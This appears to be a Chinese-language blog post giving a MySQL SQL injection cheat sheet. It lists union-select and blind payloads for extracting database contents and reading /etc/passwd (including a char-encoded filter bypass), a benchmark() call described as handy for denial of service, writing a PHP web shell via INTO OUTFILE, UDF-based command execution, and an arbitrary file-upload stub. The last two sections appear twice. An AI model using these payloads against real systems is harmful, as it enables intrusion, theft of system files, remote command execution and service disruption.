內建資訊函數:
@@datadir <--資料庫存放實體位置
user() <--當前使用者
version() <--Mysql版本
database() <--當前使用資料庫
substring() , mid()擷取字串
and (select top 1 substring(id,1,1) from news)=1
ascii()轉成Ascii
and (select top 1 ascii(substring(id,1,1)) from news)=49
hex() , unhex()轉成Hex以及反轉,對於某些column型態不符可用此繞過
union select 1,2,3,4,unhex(hex(user()))
load_file()讀取檔案
union select 1,2,3,4,load_file('/etc/passwd')
char()把Ascii轉成字元
union select 1,2,3,4,load_file(char(47,101,116,99,47,112,97,115,115,119,100))
concat()連接字串
and (select concat('a','b',''c)) = 'abc'
concat_ws()將後面的參數以第一個為間隔連接
union select 1,2,3,4,concat_ws(':::',user(),database(),version(),@@datadir)
group_concat()將column內全部內容列出(好用XD)
union select 1,2,3,4,group_concat(id) from news
length()讀取字串長
and (select top 1 len(id) from news)=2
replace()把第一個參數的第二個參數內容取代為第三個參數內容
and (select replace(text,'<br>',':::') from news)
cast()and (select load_file(cast(0x433A5C626F6F742E696E69 as char)))
md5()md5加密
and (select md5('orange'))
sha1()sha1加密
and (select md5('orange'))
benchmark()重複動作 (DOS資料庫好用XD)
and (select benchmark(99999999999999,md5('orange')))
count()計算
and (select count(*) from news)
Mysql 5新增資料庫
information_schema
SCHEMATA
SCHEMA_NAME
TABLES
TABLE_SCHEMA
TABLE_NAME
COLUMNS
TABLE_SCHEMA
TABLE_NAME
COLUMN_NAME
Mysql 常用語句
創建資料庫
create database orange
導出PHP
insert into cmd(cmd) values(' ')
select * from cmd into outfile 'C:\\appserv\\www\\cmd.php'
Windows UDF.dll函數提權
create function cmdshell returns string soname 'udf.dll'
select cmdshell('cmd command')
drop function cmdshell
上傳
<form method="POST" enctype="multipart/form-data" action="oo.php">
<input type="file" name="F" size="20">
<input type="submit" value="Y">
</form>
<?move_uploaded_file($_FILES["F"]["tmp_name"],$_FILES["F"]["name"]);?>
create function cmdshell returns string soname 'udf.dll'
select cmdshell('cmd command')
drop function cmdshell
上傳
<form method="POST" enctype="multipart/form-data" action="oo.php">
<input type="file" name="F" size="20">
<input type="submit" value="Y">
</form>
<?move_uploaded_file($_FILES["F"]["tmp_name"],$_FILES["F"]["name"]);?>
沒有留言:
張貼留言